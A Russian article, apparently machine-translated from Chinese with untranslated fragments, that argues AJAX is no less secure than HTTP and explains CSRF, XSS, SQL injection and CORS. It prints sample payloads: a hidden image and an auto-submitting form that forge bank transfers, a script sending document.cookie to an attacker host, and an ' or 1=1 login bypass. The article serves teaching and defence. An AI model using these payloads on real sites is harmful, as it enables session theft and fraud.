Действительно ли AJAX-запросы небезопасны? Поговорите о взаимосвязи между веб-безопасностью и AJAX.

Безопасность браузер XSS Ajax

Три вступительных вопроса

  1. Действительно ли AJAX-запросы небезопасны?

  2. Где запрос AJAX небезопасен?

  3. Как сделать запросы AJAX более безопасными?

предисловие

Эта статья содержит много контента, включая AJAX, CORS, XSS, CSRF и т. д. Чтобы полностью прочитать и понять, требуется определенное время.

Кроме того, мнения ограничены, если есть какое-либо неподходящее описание, пожалуйста, помогите вовремя указать.

Текст начинается...

Начиная с фронтенда ямы, до сих пор запросы AJAX повторялись с очень высокой частотой, и были решены многие проблемы, возникающие в AJAX, такие как междоменная отладка, отладка ошибок и т. д.

Отсюда было обнаружено общее явление:То есть каждый раз, когда вы разговариваете с людьми за кулисами, они упоминаютAJAX请求不安全, пожалуйста, используйте обычный HTTP-запрос!

Хотя много раз, после долгих разговоров, бэк-офис, наконец, скомпрометировал и разрешил некоторые подходящие запросы AJAX. Однако я застрял на вопросе:Действительно ли AJAX-запросы небезопасны? Почему я не обнаружил эту проблему, когда сам писал бэкэнд?

Итак, я начал готовиться к сбору данных, объединению имеющихся знаний, систематизации их в решение и анализу.AJAX请求真的不安全么？哪里不安全？, если вы столкнетесь с подобными проблемами в будущем, вы можете напрямуюбросать статьи друг в друга

контур

  • Действительно ли запросы AJAX небезопасны?

    • Откуда взялось утверждение, что AJAX небезопасен?

  • Несколько распространенных проблем безопасности веб-интерфейса

    • Введение в CSRF

    • Связь между CSRF и AJAX

    • Введение в XSS

    • Связь между XSS и AJAX

    • Введение в SQL-инъекцию

    • Связь между внедрением SQL и AJAX

  • Разница между запросами AJAX и HTTP

  • Связь между безопасностью CORS и AJAX

    • Введение во взаимосвязь между CORS и AJAX

    • Зачем настраивать CORS?

    • Какую информацию будет настраивать CORS?

    • CORS Origin: *безопасность

  • Опять же, действительно ли запросы AJAX небезопасны?

  • Где запрос AJAX небезопасен?

  • Как сделать запросы AJAX более безопасными?

Действительно ли запросы AJAX небезопасны?

Сначала сделаем вывод:AJAX请求是否安全，由服务端（后台）决定

Есть такая поговорка:Если веб-приложение имеет хорошую безопасность, то как бы ни использовался «небезопасный AJAX», его безопасность нельзя ослабить, наоборот, если в самом приложении есть лазейки, то независимо от того, какой технический запрос используется, оно небезопасно.

Почему такое заявление?Потому что в веб-приложениях базовым принципом является то, что вводу данных клиента нельзя доверять.

Откуда взялось утверждение, что AJAX небезопасен?

Когда появился AJAX, серверы на тот момент были еще очень старыми, поэтому не учли, что после появления AJAX метод фронтальных запросов станет крайне сложным, в результате чего прежняя политика безопасности уже не сможет соответствовать требования, что приводит к большому количеству фоновых уязвимостей безопасности. . .

Очевидно, это все из-за выявления большего количества уязвимостей безопасности после появления AJAX, из-за чего он выглядел опасным (потому что после появления AJAX методов запросов стало больше, и предыдущая архитектура может иметь больше уязвимостей в новых запросах).

Таким образом, аргумент о небезопасности AJAX естественным образом распространился на каждый угол.

Несколько распространенных проблем безопасности веб-интерфейса

Чтобы узнать, безопасны ли запросы AJAX, вы должны сначала узнать, какие проблемы безопасности существуют в веб-интерфейсе.

1.XSS（跨站脚本攻击）（cross-site scripting）

    -> 伪造会话（基于XSS实现CSRF）
    
    -> 劫持cookie
    
    -> 恶意代码执行

2.CSRF（跨站请求伪造）（cross-site request forgery）

    -> 伪造用户身份操作
    
3. SQL注入

...（其它暂且不提）

Как и выше, проблемы безопасности в веб-интерфейсе в основном связаны с этими категориями (только некоторые из них перечислены для анализа), поэтому мы должны сначала проанализировать взаимосвязь между AJAX и этими категориями. (XSSа такжеCSRF, который будет кратко представлен ниже. )

Введение в CSRF

CSRF, характеристики просты:Мошенническая идентификация пользователя для вредоносных операций

Сегодня эта уязвимость системы безопасности тщательно проанализирована людьми, и любой Google или Baidu найдет множество объяснений. Вот также картинка для краткого описания:

(Обратите внимание, следующее введение относится к описанию в исходной статье. Например, изображение перерисовывается после ссылки на сообщение в блоге в исходном тексте)

Итак, мы видим, что ключевыми условиями являются:

1. 采用cookie来进行用户校验

2. 登录受信任网站A，并在本地生成Cookie

3. 在不登出A的情况下，访问危险网站B

обычно в(4)куда恶意网站(B)Метод атаки следующий (необходимо указать наAадрес, иначе cookie не может быть доставлено):

// 1.譬如在网站内的图片资源中潜入恶意的转账操作
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>

// 2.构建恶意的隐藏表单，并通过脚本提交恶意请求
<iframe style="display: none;" name="csrf-frame"></iframe>
<form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='toBankId' value='hello'>
  <input type='hidden' name='amount' value='1000000'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

Более того, с самого начала и до конца сайт атаки не был приобретен с помощью файлов cookie, которые косвенно реализуются через браузер (используя механизм неявной аутентификации веб-файлов cookie), поэтомуHttpOnlyне влияет на эту атаку

Наконец, давайте поговорим о нескольких распространенных методах защиты от CSRF:

1. 验证HTTP Referer字段（非常简单，但是鉴于客户端并不可信任，所以并不是很安全）
（防止CSRF，检查Referer字段简单直接，但是其完全依赖浏览器发送正确的Referer字段。
虽然http协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，
亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其Referer字段的可能。）

2. 在请求地址中添加token并验证
（譬如post中，以参数的形式加入一个随机产生的token）

Связь между CSRF и AJAX

Выше мы видели, что предпосылка CSRF заключается в том, что файл cookie аутентифицирует личность пользователя, так что это связано с AJAX?

Давайте сначала проанализируем ситуацию с аутентификацией cookie в AJAX:

1. AJAX受到浏览器的同源策略限制

2. AJAX默认无法请求跨域的接口
（当然后台可以配置`Access-Control-Allow-Origin: *`之类的允许所有的跨域请求）

3. AJAX请求无法携带跨域cookie
（如果强行开启withCredentials，必须服务端配合认证，无法用作攻击）

嗯哼...看到这，基本就可以认为CSRF与AJAX请求无缘了。 . .

Например, предположим, что4Часть запроса инициируется AJAX, предполагая, что веб-сайт A разрешил это.Access-Control-Allow-Origin: *, так как веб-сайт B и веб-сайт A являются разными доменными именами, поэтому существует междоменный домен. В соответствии с политикой одного и того же происхождения файл cookie вообще не может передаваться при запросе, поэтому аутентификация личности не может быть пройдена, и атака не удалась. . . . Даже если withCredentials принудительно включена и передаются междоменные файлы cookie, сервер не будет настраивать междоменные файлы cookie веб-сайта B отдельно (необходимо настроитьAccess-Control-Allow-Credentials: true, и в настоящее время не разрешено устанавливатьAllow-Origin: *), поэтому аутентификация определенно не удалась

можно увидеть, даже еслиAccess-Control-Allow-Origin: *Позволяет всем исходным запросам AJAX, кросс-доменные файлы по-прежнему не могут нести, не в состоянии CSRF

Итак, вывод такой:CSRF не имеет ничего общего с AJAX

Введение в XSS

Поскольку CSRF имеет мало общего с AJAX, XSS должен иметь много общего с AJAX, верно? (Иначе зачем продолжать говорить, что запросы AJAX небезопасны, верно.). Тогда продолжайте читать (эта статья касается только JS)

XSS (межсайтовый скриптинг), кажется, аббревиатура должна быть более подходящей для css. . . Но чтобы отличить его от каскадных таблиц стилей, он представлен сокращением XSS.

Характеристики XSS также можно резюмировать следующим образом:Внедрение междоменного сценария, злоумышленник определенным образом внедряет вредоносный код на веб-страницу, а затем другие пользователи будут атакованы после просмотра внедренного содержимого страницы.

По сравнению с CSRF, XSS содержит больше контента и часто состоит из различных форм атак.Вот несколько примеров, представленных в предыдущей статье:

1. перехват файлов cookie

Аналогично есть ввод комментария на странице.После ввода, из-за лазеек в фоне, спецсимволы не фильтруются, и он будет напрямую сохранен в базу данных в виде открытого текста, а затем данные открытого текста будут отображаться непосредственно при отображается на веб-странице, затем следующее

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="saveComment.jsp" method="post"> 
     请输入评论内容：<BR> 
     <input name="content" type="text"> 
     <input type="submit" value="确认">
</form>

Затем после того, как злоумышленник проанализирует, введите

<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>

Сохраните статью. Очень простой код, поскольку скрипт фильтрации отсутствует, другие пользователи автоматически отправят информацию о своих файлах cookie на сервер злоумышленника, когда увидят эту статью после входа в систему. Злоумышленники могут использовать файлы cookie (например, сеанс, соответствующий jsessionid), чтобы выдавать себя за действия пользователя в течение срока действия.

Следует отметить, что разница между этим и CSRF заключается в том, что он должен взять на себя инициативу олицетворения пользователя после получения файла cookie, в то время как CSRF вообще не знает файл cookie и использует только неявный метод проверки браузера для олицетворения пользователя. .

2. Подделка сеанса

Снова пример лазейки в комментариях.

Ввод злоумышленника (пример аналогии)

<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>

Затем последовала та же история, что упоминалась в CSRF. Эта ситуация — CSRF, основанная на XSS, и некоторым нравится называть ее XSRF.

Следует отметить, что cookie здесь не получается, а используется неявный механизм аутентификации браузера, упомянутый в CSRF, для олицетворения пользователя.

3. Выполнение другого вредоносного кода

На самом деле, вышеперечисленное Cookie Hejacks и Seather Fake - это исполнение вредоносного кода. Для разницы вот мошенничество JS переднего конца.

Например, ввод в предыдущем комментарии может быть:

譬如市面上盛行的网页游戏弹窗等。
譬如干脆直接让这个页面卡死都可以。
譬如无限循环。

Еще один момент здесь, все вышеперечисленное является вводом с внешнего интерфейса в качестве входа, но на самом деле есть тип ввода, который нельзя игнорировать, а именно:富文本攻击

Его характеристики:Скрипты внедряются в форматированный текст, а передняя и задняя части не фильтруются, что приводит к прямому выводу на страницу.

Поскольку есть много страниц, которые отображают форматированный текст на веб-странице без фильтрации (даже сегодня есть еще много страниц), поэтому, пока в форматированный текст вводятся скрипты, это в основном уловка. . .

В заключение:

Пока оператор исполняемого скрипта наконец может быть выведен на страницу, существует уязвимость, и могут происходить XSS-атаки.

Причем, в основном xss уязвимости очень обширны.Хотя тип атаки очень пассивный и требует много времени на анализ, но лучше, чем на большом количестве сайтов (особенно тех, которые давно не обновлялись)

Еще один момент. Приведенное выше введение больше касается последствий, но на самом деле, если рассматривать ручную атаку, то ее можно разделить на несколько видов:反射型XSS攻击(вводится непосредственно через URL-адрес, и многие браузеры имеют собственную защиту),存储型XSS攻击(вводится при чтении после сохранения в БД), также естьDOM-Based型.

Вышеприведенные примеры это все типы хранилищ.Подробнее в интернете уже есть очень подробная информация.Я не буду здесь идти дальше и приложу картинку для закрепления.

Как предотвратить XSS:

  • Фильтрация ввода, не доверяйте никакому вводу пользователя, фильтруйте специальные символы, такие как «», «/» и т. д., которые могут привести к внедрению скрипта, Или отфильтруйте ключевые слова скрипта, такие как «script» и «javascript», или ограничьте длину входных данных и т. д. Также обратите внимание на то, как злоумышленники используют шестнадцатеричное кодирование для ввода скриптов.

  • Кодирование вывода похоже на фильтрацию ввода, но начинается с вывода.Когда данные выводятся на страницу, они кодируются такими инструментами, как HtmlEncoder, так что не будет исполняемого скрипта прямого вывода.

  • настройки файлов cookiehttp-only, чтобы куки нельзя было получить с помощью скрипта (Таким образом, поле cookie будет включено только тогда, когда браузер инициирует запрос к веб-серверу, избегая XSS-атак с использованием JavaScript document.cookie для получения файлов cookie)

  • Защита от кражи файлов cookie, старайтесь избегать раскрытия конфиденциальности в файлах cookie, таких как имя пользователя, пароль и т. д.; В качестве альтернативы, чтобы предотвратить повторные атаки, cookie-файл и IP-адрес могут быть связаны, что также может помешать злоумышленникам выдавать себя за обычных пользователей.

  • Обратите внимание, особенно в фоновом режиме, вы не должны доверять внешнему входу, вам нужно фильтровать и проверять

Связь между XSS и AJAX

Приведенный выше анализ некоторых влияний и проблем, вызванных XSS, по-прежнему обнаруживает:Не так много общего с AJAX, потому что эти проблемы возникают с использованием AJAX или без него.

Посмотрите на эту ситуацию, например, на приведенную выше инъекцию форматированного текста:

1. 某个接口采用AJAX交互

2. AJAX请求完后将对应富文本字段显示到了页面上-譬如innerHTML

Однако на самом деле это не имеет ничего общего с AJAX, что является следствием отсутствия фильтрации ввода и вывода на переднем и заднем концах.

Итак, та же фраза:Если веб-приложение имеет хорошую безопасность, то как бы ни использовался «небезопасный AJAX», его безопасность нельзя ослабить, наоборот, если в самом приложении есть лазейки, то независимо от того, какой технический запрос используется, оно небезопасно.

Введение в SQL-инъекцию

Расширение SQL-инъекций также будет большой темой, и это было очень популярно давным-давно (конечно, сейчас...), вот лишь несколько самых экстремальных примеров.

Предположим, что в запросе на вход на странице А есть неудачная уязвимость внедрения sql, например: (самый крайний и глупый случай)

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="login.jsp" method="post"> 
     请输入用户名与密码：<BR> 
     <input name="name" type="text"> 
     <input name="password" type="text"> 
     <input type="submit" value="登陆">
</form>

После получения запроса на вход фактический код, выполняемый при завершении службы:

String sql = "SELECT * FROM  users  WHERE name = '" + name + "' AND password = '" + password + "'";

Однако некоторые злоумышленники анализируют, что в фоновом режиме могут быть лазейки, пробуют атаки с внедрением sql, вводят

name = ' or 1=1
password = anything

Таким образом, после получения данных в фоновом режиме фактический результат запроса

SELECT * FROM  users  WHERE name = ' ' or 1=1  AND password = 'anything'

Таким образом, злоумышленник успешно обошел имя пользователя и использовал фоновую уязвимость для входа в систему.

Конечно, феномена таких низкоуровневых уязвимостей уже почти не существует, часто такие типы уязвимостей требуют тщательного анализа и отнимают много времени. (Или, может быть, есть предатель...)

Связь между внедрением SQL и AJAX

Ну, похоже, это не имеет ничего общего с AJAX из приведенного выше примера. Но мы можем предположить следующее:

1. 有一个接口，接收AJAX post的数据

2. 数据中有一个字段 'name'，后台接收到后没有进行过滤，直接如上面的演示一样，执行sql语句了

3. 所以AJAX中如果给那个字段传入非法的注入信息，就会触发这个漏洞，导致攻击生效

Да, это бывает в таких крайних случаях, и к AJAX это не имеет никакого отношения,Потому что переход на любой другой запрос будет иметь аналогичную ситуацию. . .

Итак, вывод такой:SQL-инъекция не имеет ничего общего с AJAX

Разница между запросами AJAX и HTTP

По сути это будет:AJAX — это HTTP-запрос, сделанный браузером., но браузер накладывает ограничение политики того же источника.

AJAX-запросXMLHTTPRequestОбъект — это то, что браузер открывает для JS для вызова HTTP-запросов.

Так в чем же разница между AJAX и HTTP? Перечислите следующие пункты:

  • Запросы AJAX ограничены политикой браузера в отношении одного и того же источника и имеют междоменные проблемы.

  • Когда AJAX делает сложный запрос, браузер выдает его заранееOPTIONSPreflight (HTTP сам не превышает)

  • С точки зрения использования AJAX проще в использовании, с меньшим количеством основных деталей и большим количеством функций браузера (таких как автоматическое добавление файлов cookie того же домена и т. д.).

  • Итак, отличие от HTTP-запроса на аутентификации в том, что там всего одна инкапсуляция браузера (у браузера будет своя препроцессинг, плюс специфические ограничения)

Однако с точки зрения конечного сообщения содержание такое же (содержимое спецификации протокола HTTP),AJAX — это способ отправки HTTP-запросов.

Отсюда можно сделать вывод:AJAX по своей сути так же безопасен, как HTTP-запросы.

Связь между безопасностью CORS и AJAX

Согласно упомянутому выше содержанию, в принципе невозможно провести небезопасную связь между AJAX и запросом. Затем продолжите анализ, используется ли безопасность после междоменного совместного использования ресурсов (CORS). (Поскольку ajax часто сопровождается CORS)

Введение во взаимосвязь между CORS и AJAX

Это решение для междоменного обмена, и общий процесс выглядит следующим образом: (в качестве примера возьмем только предварительную проверку сложных запросов — эта часть требует предварительного знания CORS)

1. 前端AJAX请求前发出一个OPTIONS预检，会带一堆相关头部发送给服务端

2. 服务端在接受到预检时，检查头部，来源等信息是否合法，合法则接下来允许正常的请求，
否则直接无情的拒绝掉

3. 浏览器端如果收到服务端拒绝的信息（响应头部检查），就抛出对应错误。
否则就是正常的响应，接下来发出真正的请求（如POST）

Информация заголовка запроса и ответа примерно следующая:

Request Headers

// 在CORS中专门作为Origin信息供后端比对，表示来源域。
Origin: http://xxx
Access-Control-Request-Headers: X-Requested-With
// 所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中，一般POST请求中就会带上
Access-Control-Request-Method: OPTIONS

Response Headers

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx

В конце концов, запрос, отправленный клиентом, должен соответствовать правилам проверки сервера, чтобы быть правильным, и сервер вернет правильный заголовок, иначе только запрос не будет выполнен. Сообщить о междоменной ошибке.

Вышеизложенное является лишь введением, более подробную информацию можно найти в источникеajax跨域，这应该是最全的解决方案了

Зачем настраивать CORS?

Из-за ограничения политики одного и того же источника AJAX не может запрашивать ресурсы из разных источников, а CORS может решить проблему запроса из разных источников AJAX.

следовательно:В этой статье настройка CORS предназначена только для запросов AJAX между источниками.

Какую информацию будет настраивать CORS?

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx

Как и выше, после добавления этой конфигурации это обычный запрос, который должен соответствовать требованиям, иначе он будет отклонен.Как правило, если AJAX пересекает домен, будут ВАРИАНТЫ, поэтому этот шаг выполняется в предварительной проверке.

Как видите, информация о ключевой переменной:Access-Control-Allow-Origin: http://xxx

Эта конфигурация представляет собой белый список доменных имен, в котором указывается доменное имя, под которым могут выполняться междоменные запросы AJAX.

CORS Origin: *безопасность

Ключевой вопрос заключается в том, что приведенная выше конфигурация CORS выглядит следующим образом:

Access-Control-Allow-Origin: http://xxx

Однако такая конфигурация разрешает доступ только к определенному доменному имени.Учитывая сложность фронтенда, отлаживать иногда не очень удобно.Поэтому иногда будет лень и выставлю:

Access-Control-Allow-Origin: *

Этот междоменный запрос AJAX от имени всех источников отвечает нормально.

Далее давайте проанализируем настройкиOrigin: *Какие возможны проблемы. (AJAX основан на корпусе)

Вопрос 1: повлияет ли это на аутентификацию файлов cookie?

Не будет. несмотря на то что*Это означает, что все источники могут запрашивать в обычном режиме, но в соответствии с политикой одного и того же источника междоменные файлы cookie не могут быть доставлены. Таким образом, аутентификация вообще не может быть использована.

Более того, даже сwithCredentialsПринудительно занести междоменный куки, т.к. фон его не поддерживает, сообщит об ошибке. (Это можно рассматривать как последнюю линию защиты модели CORS)

Кроме того, даже если фона настроенAccess-Control-Allow-CredentialsПозволяя кросс-доменом cookie, но на этот раз политика безопасностиOrigin* не допускается, должен быть явным адресом. (В противном случае вы можете увидеть сообщение об ошибке браузера — Origin не может быть * для междоменных файлов cookie)

Вопрос 2: Что делать, если заголовок Origin поддельный?

Во-первых, стандартные браузеры не позволяют подделывать (если нет серьезных уязвимостей), поэтому вообще нужно имитировать подделку клиентских запросов.

но. В случае без браузера политика одинакового происхождения отсутствует. Зачем это нужно. . .

Таким образом, подделка Origin не имеет ничего общего с CORS.

Вопрос 3: Что делать, если на заднем плане есть лазейки?

Сделайте такое предположение, предположим, что в интрасети сети, где находится пользователь, есть интранет-сервер, и он настроен на разрешение всех междоменных запросов: (Конечно, внешняя сеть не может запрашивать интранет)

// 允许任何来自任意域的跨域请求
Access-Control-Allow-Origin: *

Предположим, что на сервере интрасети оказались конфиденциальные ресурсы, и нет никакой дополнительной защиты, пока есть доступ к интрасети. Например:

192.168.111.23/users.md

Затем пользователь посещает вредоносную веб-страницу, и веб-страница, как и HTML, загружается для локального выполнения, Бывает, что на странице есть вредоносный код, куда идти192.168.111.23/users.mdЗапросите ресурсы, а затем отправьте полученный сервер обратно на сервер злоумышленника. (Поскольку Origin добавляется как *, а AJAX отправляется локальным браузером, вредоносный веб-сайт, загруженный пользователем на локальный сервер, может получить доступ к фону во внутренней сети пользователя)

Затем эти конфиденциальные данные украдены.

Но это проблема из-за уязвимостей на стороне сервера, установите для Origin значениеПочему конфиденциальные ресурсы должны быть размещены на серверной части ? Обычно устанавливается в Origin какМаксимальный эффект используется в качестве общего API. И что еще более важно, почему они так легко приобретают чувствительные ресурсы? Почему нет вторичной проверки?

ИТАК, в самом бэкграунде есть лазейки, из-за чего на него и нападают, AJAX оказывается одним из средств атаки (помимо AJAX есть и другие методы), поэтому на AJAX набрасывается много горшков.

Таким образом, можно сделать консервативный вывод:

Происхождение, если нет*, запрос AJAX не будет иметь проблем с безопасностью, если он*, может быть из-за лазеек в фоновом режиме, непреднамеренно, AJAX используется как средство атаки, что приводит к утверждению, что AJAX небезопасен

Опять же, действительно ли запросы AJAX небезопасны?

Тем не менее исходный вывод:

Если веб-приложение имеет хорошую безопасность, то как бы ни использовался «небезопасный AJAX», его безопасность нельзя ослабить, наоборот, если в самом приложении есть лазейки, то независимо от того, какой технический запрос используется, оно небезопасно.

Мы видим, что независимо от того, являются ли XSS, CSRF и другие скрытые возможные уязвимости по существу проблемами, вызванными существующими уязвимостями в фоновом режиме, AJAX в лучшем случае используется как метод атаки (даже некоторый AJAX внутри пока недоступен).

Упоминается, что запросы AJAX небезопасны, например, настроенные в CORS.Origin: *Ajax может привести к некоторым экстремальным случаям атакующих. Но на самом деле это один из них только атаки, а не Ajax, отсутствие безопасности все еще небезопасно.

Например, есть еще одна поговорка: «Потому что до появления AJAX, если есть уязвимость в системе безопасности, ее легко обнаружить, но AJAX является асинхронным, и у него, скорее всего, будут неявные проблемы с безопасностью». . . Это также не имеет ничего общего с природой безопасности.

Самое главное, с точки зрения безопасности веб-приложений, веб-приложения никогда не должны доверять клиентам. Так что перестаньте бросать банк в AJAX.

Где запрос AJAX небезопасен?

Ditto, сам Ajax не имеет этой проблемы безопасности.

Однако следует отметить одну вещь, если используется схема CORS.

1. Allow-Origin可以设置特定的值，过滤特定的白名单

2. 对于一些公共的API，可以直接将Allow-Origin设置为`*`

3. 当然，如果确认后台没有这些隐藏漏洞，可以直接使用`*`，毕竟也只是针对浏览器的同源策略而已，影响没有那么大。

Как сделать запросы AJAX более безопасными?

Это все еще вывод, который неоднократно упоминается в статье:

Сделайте веб-сервер более безопасным, а запрос AJAX также более безопасным, но в бэкэнде есть лазейки, поэтому он небезопасен, несмотря ни на что.

последние слова

В этом случае он должен быть в состоянии избавиться от горшка небезопасности AJAX, верно?

приложение

использованная литература

Категории